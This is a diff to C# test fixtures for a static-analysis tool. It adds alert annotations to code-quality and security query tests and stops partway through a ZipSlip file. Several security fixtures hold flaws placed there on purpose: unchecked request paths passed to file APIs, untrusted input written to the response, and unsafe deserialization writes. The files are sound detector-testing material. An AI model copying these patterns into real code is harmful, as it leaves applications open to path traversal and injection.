a/csharp/ql/test/query-tests/Linq/MissedWhereOpportunity/MissedWhereOpportunity.cs +++ b/csharp/ql/test/query-tests/Linq/MissedWhereOpportunity/MissedWhereOpportunity.cs @@ -13,7 +13,7 @@ public void M1(List lst) continue; Console.WriteLine(i); Console.WriteLine((i / 2)); - } + } // $ Alert // BAD: Can be replaced with lst.Where(e => e % 2 == 0) foreach (int i in lst) @@ -23,7 +23,7 @@ public void M1(List lst) Console.WriteLine(i); Console.WriteLine((i / 2)); } - } + } // $ Alert } public void M2(NonEnumerableClass nec) @@ -49,7 +49,7 @@ public void M3(int[] arr) Console.WriteLine(n); Console.WriteLine((n / 2)); } - } + } // $ Alert } public void M4(Array arr) @@ -73,7 +73,7 @@ public void M5(IEnumerable elements) { Console.WriteLine(element); } - } + } // $ Alert } public class NonEnumerableClass diff --git a/csharp/ql/test/query-tests/Linq/MissedWhereOpportunity/MissedWhereOpportunity.qlref b/csharp/ql/test/query-tests/Linq/MissedWhereOpportunity/MissedWhereOpportunity.qlref index 4a08b459a6c3..815371aba99c 100644 --- a/csharp/ql/test/query-tests/Linq/MissedWhereOpportunity/MissedWhereOpportunity.qlref +++ b/csharp/ql/test/query-tests/Linq/MissedWhereOpportunity/MissedWhereOpportunity.qlref @@ -1 +1,2 @@ -Linq/MissedWhereOpportunity.ql +query: Linq/MissedWhereOpportunity.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/MagicConstants/AttributeInts.cs b/csharp/ql/test/query-tests/MagicConstants/AttributeInts.cs index 370dc0a948f2..441525751b80 100644 --- a/csharp/ql/test/query-tests/MagicConstants/AttributeInts.cs +++ b/csharp/ql/test/query-tests/MagicConstants/AttributeInts.cs @@ -20,7 +20,7 @@ void f1() void f2() { // BAD - var x = 555 + + var x = 555 + // $ Alert[cs/magic-number] 555 + 555 + 555 + 555 + 555 + 555 + 555 + 555 + 555 + 555 + 555 + 555 + 555 + 555 + 555 + 555 + 555 + 555 + 555 + 555; } diff --git a/csharp/ql/test/query-tests/MagicConstants/AttributeStrings.cs b/csharp/ql/test/query-tests/MagicConstants/AttributeStrings.cs index 5dd81b335f71..4100d12f93fc 100644 --- a/csharp/ql/test/query-tests/MagicConstants/AttributeStrings.cs +++ b/csharp/ql/test/query-tests/MagicConstants/AttributeStrings.cs @@ -3,7 +3,7 @@ class MyClass { public static void Main() { - System.Console.WriteLine("Hello, World!"); + System.Console.WriteLine("Hello, World!"); // $ Alert[cs/magic-string] System.Console.WriteLine("Hello, World!"); System.Console.WriteLine("Hello, World!"); System.Console.WriteLine("Hello, World!"); diff --git a/csharp/ql/test/query-tests/MagicConstants/AttributeStrings.qlref b/csharp/ql/test/query-tests/MagicConstants/AttributeStrings.qlref index c471ffedda83..7b0fd125d426 100644 --- a/csharp/ql/test/query-tests/MagicConstants/AttributeStrings.qlref +++ b/csharp/ql/test/query-tests/MagicConstants/AttributeStrings.qlref @@ -1 +1,2 @@ -Bad Practices/Magic Constants/MagicConstantsString.ql \ No newline at end of file +query: Bad Practices/Magic Constants/MagicConstantsString.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/MagicConstants/HashCode.cs b/csharp/ql/test/query-tests/MagicConstants/HashCode.cs index 71308f8fb6c6..7767fa6499db 100644 --- a/csharp/ql/test/query-tests/MagicConstants/HashCode.cs +++ b/csharp/ql/test/query-tests/MagicConstants/HashCode.cs @@ -13,7 +13,7 @@ int NotHashCode() { // BAD: Number 391 is repeated. return - 391 + + 391 + // $ Alert[cs/magic-number] 391 + 391 + 391 + 391 + 391 + 391 + 391 + 391 + 391 + 391 + 391 + 391 + 391 + 391 + 391 + 391 + 391 + 391 + 391 + 391 + 397; } diff --git a/csharp/ql/test/query-tests/MagicConstants/MagicConstantsNumbers.qlref b/csharp/ql/test/query-tests/MagicConstants/MagicConstantsNumbers.qlref index 8047296eeeba..514381dce917 100644 --- a/csharp/ql/test/query-tests/MagicConstants/MagicConstantsNumbers.qlref +++ b/csharp/ql/test/query-tests/MagicConstants/MagicConstantsNumbers.qlref @@ -1 +1,2 @@ -Bad Practices/Magic Constants/MagicConstantsNumbers.ql \ No newline at end of file +query: Bad Practices/Magic Constants/MagicConstantsNumbers.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/MagicConstants/MagicNumbersUseConstant.cs b/csharp/ql/test/query-tests/MagicConstants/MagicNumbersUseConstant.cs index 35f1bbb1435a..039ac137dda2 100644 --- a/csharp/ql/test/query-tests/MagicConstants/MagicNumbersUseConstant.cs +++ b/csharp/ql/test/query-tests/MagicConstants/MagicNumbersUseConstant.cs @@ -16,12 +16,12 @@ class UseConstantNumber byte[] values2 = { 241 }; // BAD: Use constant - int values3 = 241; + int values3 = 241; // $ Alert[cs/use-number-constant] void Test() { // BAD: Use constant - var v1 = 241; + var v1 = 241; // $ Alert[cs/use-number-constant] // GOOD: Constant used var v2 = IntConstants.PUBLIC_CONST; diff --git a/csharp/ql/test/query-tests/MagicConstants/MagicNumbersUseConstant.qlref b/csharp/ql/test/query-tests/MagicConstants/MagicNumbersUseConstant.qlref index 65c1a785c6cf..75437932f589 100644 --- a/csharp/ql/test/query-tests/MagicConstants/MagicNumbersUseConstant.qlref +++ b/csharp/ql/test/query-tests/MagicConstants/MagicNumbersUseConstant.qlref @@ -1 +1,2 @@ -Bad Practices/Magic Constants/MagicNumbersUseConstant.ql \ No newline at end of file +query: Bad Practices/Magic Constants/MagicNumbersUseConstant.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/MagicConstants/MagicStringsUseConstant.cs b/csharp/ql/test/query-tests/MagicConstants/MagicStringsUseConstant.cs index c0b0fc8189c6..a09bf27c8d9a 100644 --- a/csharp/ql/test/query-tests/MagicConstants/MagicStringsUseConstant.cs +++ b/csharp/ql/test/query-tests/MagicConstants/MagicStringsUseConstant.cs @@ -14,12 +14,12 @@ class UseConstantString string[] values1 = { "abcdefgh" }; // BAD: Use constant - string values2 = "abcdefgh"; + string values2 = "abcdefgh"; // $ Alert[cs/use-string-constant] void Test() { // BAD: Use constant - var v1 = "abcdefgh"; + var v1 = "abcdefgh"; // $ Alert[cs/use-string-constant] // GOOD: Constant used. var v2 = StringConstants.PUBLIC_CONSTANT; diff --git a/csharp/ql/test/query-tests/MagicConstants/MagicStringsUseConstant.qlref b/csharp/ql/test/query-tests/MagicConstants/MagicStringsUseConstant.qlref index 72b6dcbab7d4..7ded4ffe161b 100644 --- a/csharp/ql/test/query-tests/MagicConstants/MagicStringsUseConstant.qlref +++ b/csharp/ql/test/query-tests/MagicConstants/MagicStringsUseConstant.qlref @@ -1 +1,2 @@ -Bad Practices/Magic Constants/MagicStringsUseConstant.ql \ No newline at end of file +query: Bad Practices/Magic Constants/MagicStringsUseConstant.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Metrics/Files/FLinesOfCommentedCode/flinesofcommentedcode.qlref b/csharp/ql/test/query-tests/Metrics/Files/FLinesOfCommentedCode/flinesofcommentedcode.qlref index 85a80a9627eb..952183500693 100644 --- a/csharp/ql/test/query-tests/Metrics/Files/FLinesOfCommentedCode/flinesofcommentedcode.qlref +++ b/csharp/ql/test/query-tests/Metrics/Files/FLinesOfCommentedCode/flinesofcommentedcode.qlref @@ -1 +1 @@ -Metrics/Files/FLinesOfCommentedCode.ql \ No newline at end of file +query: Metrics/Files/FLinesOfCommentedCode.ql diff --git a/csharp/ql/test/query-tests/Metrics/RefTypes/TNumberOfFields/EnumSize.qlref b/csharp/ql/test/query-tests/Metrics/RefTypes/TNumberOfFields/EnumSize.qlref index c20a0d3886c1..67b897b1f5dc 100644 --- a/csharp/ql/test/query-tests/Metrics/RefTypes/TNumberOfFields/EnumSize.qlref +++ b/csharp/ql/test/query-tests/Metrics/RefTypes/TNumberOfFields/EnumSize.qlref @@ -1 +1 @@ -Metrics/RefTypes/TNumberOfFields.ql \ No newline at end of file +query: Metrics/RefTypes/TNumberOfFields.ql diff --git a/csharp/ql/test/query-tests/Metrics/Summaries/LinesOfCode.qlref b/csharp/ql/test/query-tests/Metrics/Summaries/LinesOfCode.qlref index 8c18065043fd..7510037b8101 100644 --- a/csharp/ql/test/query-tests/Metrics/Summaries/LinesOfCode.qlref +++ b/csharp/ql/test/query-tests/Metrics/Summaries/LinesOfCode.qlref @@ -1 +1 @@ -Metrics/Summaries/LinesOfCode.ql \ No newline at end of file +query: Metrics/Summaries/LinesOfCode.ql diff --git a/csharp/ql/test/query-tests/Performance/StringBuilderInLoop/StringBuilderInLoop.cs b/csharp/ql/test/query-tests/Performance/StringBuilderInLoop/StringBuilderInLoop.cs index 63b8d5b386eb..7d993b6b432a 100644 --- a/csharp/ql/test/query-tests/Performance/StringBuilderInLoop/StringBuilderInLoop.cs +++ b/csharp/ql/test/query-tests/Performance/StringBuilderInLoop/StringBuilderInLoop.cs @@ -7,7 +7,7 @@ static void Main(string[] args) { foreach (var arg in args) { - var sb = new StringBuilder(); // BAD: Creation in loop + var sb = new StringBuilder(); // BAD: Creation in loop // $ Alert sb.Append("Hello ").Append(arg); Console.WriteLine(sb); } @@ -33,7 +33,7 @@ void ControlFlow(string[] args) sb = new StringBuilder(); // GOOD: Not in all control paths else sb.Clear(); - lock (sb) sb = new StringBuilder(); // BAD: In all control paths + lock (sb) sb = new StringBuilder(); // BAD: In all control paths // $ Alert sb.Append("Hello ").Append(arg); Console.WriteLine(sb); } diff --git a/csharp/ql/test/query-tests/Performance/StringBuilderInLoop/StringBuilderInLoop.qlref b/csharp/ql/test/query-tests/Performance/StringBuilderInLoop/StringBuilderInLoop.qlref index 3b5d707f51e6..8b8d7b8e147b 100644 --- a/csharp/ql/test/query-tests/Performance/StringBuilderInLoop/StringBuilderInLoop.qlref +++ b/csharp/ql/test/query-tests/Performance/StringBuilderInLoop/StringBuilderInLoop.qlref @@ -1 +1,2 @@ -Performance/StringBuilderInLoop.ql \ No newline at end of file +query: Performance/StringBuilderInLoop.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Performance/StringConcatenationInLoop/StringConcatenationInLoop.cs b/csharp/ql/test/query-tests/Performance/StringConcatenationInLoop/StringConcatenationInLoop.cs index 4947363a083c..f37df5a73ccb 100644 --- a/csharp/ql/test/query-tests/Performance/StringConcatenationInLoop/StringConcatenationInLoop.cs +++ b/csharp/ql/test/query-tests/Performance/StringConcatenationInLoop/StringConcatenationInLoop.cs @@ -10,8 +10,8 @@ public Program() var x1 = ""; for (var i = 0; i < 1000; i++) { - x0 += "" + i; // BAD - x1 = x1 + i; // BAD + x0 += "" + i; // BAD // $ Alert + x1 = x1 + i; // BAD // $ Alert var x2 = ""; x2 += x1; // GOOD } diff --git a/csharp/ql/test/query-tests/Performance/StringConcatenationInLoop/StringConcatenationInLoop.qlref b/csharp/ql/test/query-tests/Performance/StringConcatenationInLoop/StringConcatenationInLoop.qlref index edd774f1e609..302e7fefd8a6 100644 --- a/csharp/ql/test/query-tests/Performance/StringConcatenationInLoop/StringConcatenationInLoop.qlref +++ b/csharp/ql/test/query-tests/Performance/StringConcatenationInLoop/StringConcatenationInLoop.qlref @@ -1 +1,2 @@ -Performance/StringConcatenationInLoop.ql \ No newline at end of file +query: Performance/StringConcatenationInLoop.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Performance/UseTryGetValue/UseTryGetValue.cs b/csharp/ql/test/query-tests/Performance/UseTryGetValue/UseTryGetValue.cs index 296ffaa82f27..9f39c43926e2 100644 --- a/csharp/ql/test/query-tests/Performance/UseTryGetValue/UseTryGetValue.cs +++ b/csharp/ql/test/query-tests/Performance/UseTryGetValue/UseTryGetValue.cs @@ -16,24 +16,24 @@ static void Main(string[] args) dict.TryGetValue(2, out x); // These are BAD - if (dict.ContainsKey(1)) x = dict[1]; - if (dict.ContainsKey(1) && dict[1] == 2) ; - if (!dict.ContainsKey(1) && dict[1] == 2) ; - if (!dict.ContainsKey(1) || dict[1] == 2) ; - if (dict.ContainsKey(1) || dict[1] == 2) ; + if (dict.ContainsKey(1)) x = dict[1]; // $ Alert + if (dict.ContainsKey(1) && dict[1] == 2) ; // $ Alert + if (!dict.ContainsKey(1) && dict[1] == 2) ; // $ Alert + if (!dict.ContainsKey(1) || dict[1] == 2) ; // $ Alert + if (dict.ContainsKey(1) || dict[1] == 2) ; // $ Alert - if (dict.ContainsKey(1)) + if (dict.ContainsKey(1)) // $ Alert x = dict[1]; else x = dict[1]; - if (!dict.ContainsKey(1)) + if (!dict.ContainsKey(1)) // $ Alert x = dict[1]; else x = dict[1]; - x = dict.ContainsKey(1) ? dict[1] : dict[1]; - x = !dict.ContainsKey(1) ? dict[1] : dict[1]; - x = true && !dict.ContainsKey(1) ? dict[1] : dict[1]; + x = dict.ContainsKey(1) ? dict[1] : dict[1]; // $ Alert + x = !dict.ContainsKey(1) ? dict[1] : dict[1]; // $ Alert + x = true && !dict.ContainsKey(1) ? dict[1] : dict[1]; // $ Alert // GOOD: Different index if (dict.ContainsKey(0)) x = dict[1]; diff --git a/csharp/ql/test/query-tests/Performance/UseTryGetValue/UseTryGetValue.qlref b/csharp/ql/test/query-tests/Performance/UseTryGetValue/UseTryGetValue.qlref index 13889c6245fc..5ca355f78242 100644 --- a/csharp/ql/test/query-tests/Performance/UseTryGetValue/UseTryGetValue.qlref +++ b/csharp/ql/test/query-tests/Performance/UseTryGetValue/UseTryGetValue.qlref @@ -1 +1,2 @@ -Performance/UseTryGetValue.ql \ No newline at end of file +query: Performance/UseTryGetValue.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/ReadOnlyContainer/ReadOnlyContainer.cs b/csharp/ql/test/query-tests/ReadOnlyContainer/ReadOnlyContainer.cs index f9914566bb98..b6b5c5639e00 100644 --- a/csharp/ql/test/query-tests/ReadOnlyContainer/ReadOnlyContainer.cs +++ b/csharp/ql/test/query-tests/ReadOnlyContainer/ReadOnlyContainer.cs @@ -6,11 +6,11 @@ class Test { // Test variable scope - IList v1 = new List(); // BAD: private scope + IList v1 = new List(); // BAD: private scope // $ Alert void f() { - var v2 = new List(); // BAD: local scope + var v2 = new List(); // BAD: local scope // $ Alert var x = v1.Contains(1); var y = v2.Contains(2); } @@ -27,7 +27,7 @@ void g() // Test initializer IList n3 = new List { 1, 2, 3 }; // GOOD: initialized - IList v3; // BAD: unassigned + IList v3; // BAD: unassigned // $ Alert void h() { @@ -52,7 +52,7 @@ void f1() n5 = new List { 1, 2, 3 }; n5.Contains(1); - var v4 = new List(); // BAD: assigned only from empty list + var v4 = new List(); // BAD: assigned only from empty list // $ Alert v4 = new List(); v4.Contains(1); @@ -73,30 +73,30 @@ void f3() void f4() { - var v5 = new Dictionary(); // BAD + var v5 = new Dictionary(); // BAD // $ Alert v5.ContainsKey(1); v5.ContainsValue(1); v5.GetEnumerator(); var tmp = new HashSet(); - var v6 = new HashSet(); // BAD + var v6 = new HashSet(); // BAD // $ Alert v6.IsSubsetOf(tmp); v6.IsProperSubsetOf(tmp); v6.IsSupersetOf(tmp); v6.IsProperSupersetOf(tmp); - var v7 = new LinkedList(); // BAD + var v7 = new LinkedList(); // BAD // $ Alert v7.Contains(1); - var v8 = new Queue(); // BAD + var v8 = new Queue(); // BAD // $ Alert v8.Dequeue(); v8.Peek(); v8.ToArray(); - var v9 = new Stack(); // BAD + var v9 = new Stack(); // BAD // $ Alert v9.Pop(); - var v10 = new List(); // BAD: property access + var v10 = new List(); // BAD: property access // $ Alert var x = v10.Count; } @@ -118,7 +118,7 @@ void f5() void f6() { - var v11 = new Dictionary(); // BAD: read by Index + var v11 = new Dictionary(); // BAD: read by Index // $ Alert var x = v11[1]; var n12 = new Dictionary(); // GOOD: written by Index @@ -155,7 +155,7 @@ void f8(object arguments) void f9() { - var l1 = new MyList(); // BAD + var l1 = new MyList(); // BAD // $ Alert var x1 = l1[0]; var l2 = new MyList(); // GOOD diff --git a/csharp/ql/test/query-tests/ReadOnlyContainer/ReadOnlyContainer.qlref b/csharp/ql/test/query-tests/ReadOnlyContainer/ReadOnlyContainer.qlref index 2f4f5248a6bb..623d63c75056 100644 --- a/csharp/ql/test/query-tests/ReadOnlyContainer/ReadOnlyContainer.qlref +++ b/csharp/ql/test/query-tests/ReadOnlyContainer/ReadOnlyContainer.qlref @@ -1 +1,2 @@ -Likely Bugs/Collections/ReadOnlyContainer.ql \ No newline at end of file +query: Likely Bugs/Collections/ReadOnlyContainer.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-011/ASPNetDebug.qlref b/csharp/ql/test/query-tests/Security Features/CWE-011/ASPNetDebug.qlref index da2dbc17be05..f197b183e75e 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-011/ASPNetDebug.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-011/ASPNetDebug.qlref @@ -1 +1,2 @@ -Security Features/CWE-011/ASPNetDebug.ql \ No newline at end of file +query: Security Features/CWE-011/ASPNetDebug.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-011/bad1/Web.config b/csharp/ql/test/query-tests/Security Features/CWE-011/bad1/Web.config index ffc04c240fae..c79a46e2c881 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-011/bad1/Web.config +++ b/csharp/ql/test/query-tests/Security Features/CWE-011/bad1/Web.config @@ -4,6 +4,6 @@ + /> diff --git a/csharp/ql/test/query-tests/Security Features/CWE-011/bad2/Web.config b/csharp/ql/test/query-tests/Security Features/CWE-011/bad2/Web.config index ffc04c240fae..c79a46e2c881 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-011/bad2/Web.config +++ b/csharp/ql/test/query-tests/Security Features/CWE-011/bad2/Web.config @@ -4,6 +4,6 @@ + /> diff --git a/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetMaxRequestLength/ASPNetMaxRequestLength.qlref b/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetMaxRequestLength/ASPNetMaxRequestLength.qlref index 7469d5d2e98a..5c2fc1ad4f63 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetMaxRequestLength/ASPNetMaxRequestLength.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetMaxRequestLength/ASPNetMaxRequestLength.qlref @@ -1 +1,2 @@ -Security Features/CWE-016/ASPNetMaxRequestLength.ql \ No newline at end of file +query: Security Features/CWE-016/ASPNetMaxRequestLength.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetMaxRequestLength/bad/Web.config b/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetMaxRequestLength/bad/Web.config index ea52bd2505b8..a9e98986c4cb 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetMaxRequestLength/bad/Web.config +++ b/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetMaxRequestLength/bad/Web.config @@ -1,6 +1,6 @@ - + - \ No newline at end of file + diff --git a/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetPagesValidateRequest/ASPNetPagesValidateRequest.qlref b/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetPagesValidateRequest/ASPNetPagesValidateRequest.qlref index 2116949f754e..5eaf78b95be4 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetPagesValidateRequest/ASPNetPagesValidateRequest.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetPagesValidateRequest/ASPNetPagesValidateRequest.qlref @@ -1 +1,2 @@ -Security Features/CWE-016/ASPNetPagesValidateRequest.ql \ No newline at end of file +query: Security Features/CWE-016/ASPNetPagesValidateRequest.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetPagesValidateRequest/ASPNetPagesValidateRequestBad.config b/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetPagesValidateRequest/ASPNetPagesValidateRequestBad.config index e8fbc48cb6e8..927a73b39d00 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetPagesValidateRequest/ASPNetPagesValidateRequestBad.config +++ b/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetPagesValidateRequest/ASPNetPagesValidateRequestBad.config @@ -1,5 +1,5 @@ - + - \ No newline at end of file + diff --git a/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetRequestValidationMode/ASPNetRequestValidationMode.qlref b/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetRequestValidationMode/ASPNetRequestValidationMode.qlref index 86ac50728428..c057ae5aa6c8 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetRequestValidationMode/ASPNetRequestValidationMode.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetRequestValidationMode/ASPNetRequestValidationMode.qlref @@ -1 +1,2 @@ -Security Features/CWE-016/ASPNetRequestValidationMode.ql \ No newline at end of file +query: Security Features/CWE-016/ASPNetRequestValidationMode.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetRequestValidationMode/ASPNetRequestValidationModeBad.config b/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetRequestValidationMode/ASPNetRequestValidationModeBad.config index e2c8b8dc9031..2a9be99dc51e 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetRequestValidationMode/ASPNetRequestValidationModeBad.config +++ b/csharp/ql/test/query-tests/Security Features/CWE-016/ASPNetRequestValidationMode/ASPNetRequestValidationModeBad.config @@ -1,5 +1,5 @@ - + diff --git a/csharp/ql/test/query-tests/Security Features/CWE-020/ExternalAPIsUsedWithUntrustedData.qlref b/csharp/ql/test/query-tests/Security Features/CWE-020/ExternalAPIsUsedWithUntrustedData.qlref index 68f234e9d372..44a26f7eb0f4 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-020/ExternalAPIsUsedWithUntrustedData.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-020/ExternalAPIsUsedWithUntrustedData.qlref @@ -1 +1 @@ -Security Features/CWE-020/ExternalAPIsUsedWithUntrustedData.ql \ No newline at end of file +query: Security Features/CWE-020/ExternalAPIsUsedWithUntrustedData.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-020/RuntimeChecksBypass.cs b/csharp/ql/test/query-tests/Security Features/CWE-020/RuntimeChecksBypass.cs index aea3c4e244f8..2298e14e1476 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-020/RuntimeChecksBypass.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-020/RuntimeChecksBypass.cs @@ -17,7 +17,7 @@ public Test1(string v) [OnDeserializing] public void Deserialize() { - f = GetString(); // BAD, non-constant and non-object creation expr + f = GetString(); // BAD, non-constant and non-object creation expr // $ Alert } string GetString() { throw null; } @@ -123,7 +123,7 @@ public Test5(int age) [OnDeserializing] void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) { - Age = info.GetInt32("age"); // BAD + Age = info.GetInt32("age"); // BAD // $ Alert } } @@ -167,7 +167,7 @@ void ISerializable.GetObjectData(SerializationInfo info, StreamingContext contex int age = info.GetInt32("age"); if (false) throw new SerializationException("age"); - Age = age; // BAD + Age = age; // BAD // $ Alert } } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-020/RuntimeChecksBypassBad.cs b/csharp/ql/test/query-tests/Security Features/CWE-020/RuntimeChecksBypassBad.cs index 5d89942f9fe8..ad81a39a9f92 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-020/RuntimeChecksBypassBad.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-020/RuntimeChecksBypassBad.cs @@ -16,6 +16,6 @@ public PersonBad(int age) [OnDeserializing] void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) { - Age = info.GetInt32("age"); // BAD - write is unsafe + Age = info.GetInt32("age"); // BAD - write is unsafe // $ Alert } } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-020/RuntimeChecksbypass.qlref b/csharp/ql/test/query-tests/Security Features/CWE-020/RuntimeChecksbypass.qlref index c5615a7415c4..375a7f00e550 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-020/RuntimeChecksbypass.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-020/RuntimeChecksbypass.qlref @@ -1 +1,2 @@ -Security Features/CWE-020/RuntimeChecksBypass.ql \ No newline at end of file +query: Security Features/CWE-020/RuntimeChecksBypass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-020/UntrustedData.cs b/csharp/ql/test/query-tests/Security Features/CWE-020/UntrustedData.cs index 7b0f789c2aec..997ecc4f5cd2 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-020/UntrustedData.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-020/UntrustedData.cs @@ -6,11 +6,11 @@ public class UntrustedData : IHttpHandler { public void ProcessRequest(HttpContext ctx) { - var name = ctx.Request.QueryString["name"]; + var name = ctx.Request.QueryString["name"]; // $ Alert[cs/untrusted-data-to-external-api]=r1 $ Alert[cs/untrusted-data-to-external-api]=r1 $ Source[cs/untrusted-data-to-external-api]=r2 var len = name.Length; var myEncodedString = HttpUtility.HtmlEncode(name); - ctx.Response.Write(name); + ctx.Response.Write(name); // $ Alert[cs/untrusted-data-to-external-api]=r2 } public bool IsReusable => true; diff --git a/csharp/ql/test/query-tests/Security Features/CWE-020/UntrustedDataToExternalAPI.qlref b/csharp/ql/test/query-tests/Security Features/CWE-020/UntrustedDataToExternalAPI.qlref index 22d3fe2ef63c..65b603105088 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-020/UntrustedDataToExternalAPI.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-020/UntrustedDataToExternalAPI.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-020/UntrustedDataToExternalAPI.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-022/TaintedPath/TaintedPath.cs b/csharp/ql/test/query-tests/Security Features/CWE-022/TaintedPath/TaintedPath.cs index 3ea90facfd3c..a22efa5e25fa 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-022/TaintedPath/TaintedPath.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-022/TaintedPath/TaintedPath.cs @@ -7,14 +7,14 @@ public class TaintedPathHandler : IHttpHandler public void ProcessRequest(HttpContext ctx) { - String path = ctx.Request.QueryString["page"]; + String path = ctx.Request.QueryString["page"]; // $ Source[cs/path-injection]=r1 $ Source[cs/path-injection]=r2 $ Source[cs/path-injection]=r3 $ Source[cs/path-injection]=r4 $ Source[cs/path-injection]=r5 $ Source[cs/path-injection]=r6 $ Source[cs/path-injection]=r7 // BAD: Used via a File.Create... call. - using (StreamWriter sw = File.CreateText(path)) + using (StreamWriter sw = File.CreateText(path)) // $ Alert[cs/path-injection]=r1 { sw.WriteLine("Hello"); } // BAD: Used via StreamWriter constructor - using (StreamWriter sw = new StreamWriter(path)) + using (StreamWriter sw = new StreamWriter(path)) // $ Alert[cs/path-injection]=r2 { sw.WriteLine("Hello"); } @@ -22,20 +22,20 @@ public void ProcessRequest(HttpContext ctx) // BAD: Check is insufficient, text is read. if (!path.StartsWith("../")) { - File.ReadAllText(path); + File.ReadAllText(path); // $ Alert[cs/path-injection]=r3 } // BAD: Check is insufficient, text is read. if (!string.IsNullOrEmpty(path)) { - File.ReadAllText(path); + File.ReadAllText(path); // $ Alert[cs/path-injection]=r4 } // BAD: Check is insufficient, text is read. string badPath = "/home/user/" + path; - if (File.Exists(badPath)) + if (File.Exists(badPath)) // $ Alert[cs/path-injection]=r5 { - ctx.Response.Write(File.ReadAllText(badPath)); + ctx.Response.Write(File.ReadAllText(badPath)); // $ Alert[cs/path-injection]=r6 } // GOOD: Tainted path is passed through MapPath @@ -48,7 +48,7 @@ public void ProcessRequest(HttpContext ctx) File.ReadAllText(path); } - Directory.Exists(path); + Directory.Exists(path); // $ Alert[cs/path-injection]=r7 // GOOD: A Guid. File.ReadAllText(new Guid(path).ToString()); diff --git a/csharp/ql/test/query-tests/Security Features/CWE-022/TaintedPath/TaintedPath.qlref b/csharp/ql/test/query-tests/Security Features/CWE-022/TaintedPath/TaintedPath.qlref index 10abc41286cf..9ab7666c8f1e 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-022/TaintedPath/TaintedPath.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-022/TaintedPath/TaintedPath.qlref @@ -1,3 +1,5 @@ query: Security Features/CWE-022/TaintedPath.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-022/ZipSlip/ZipSlip.cs b/csharp/ql/test/query-tests/Security Features/CWE-022/ZipSlip/ZipSlip.cs index 1ec93bba3edd..189fb1a6eb6e 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-022/ZipSlip/ZipSlip.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-022/ZipSlip/ZipSlip.cs @@ -12,15 +12,15 @@ public static void UnzipFileByFile(ZipArchive archive, { foreach (var entry in archive.Entries) { - string fullPath = 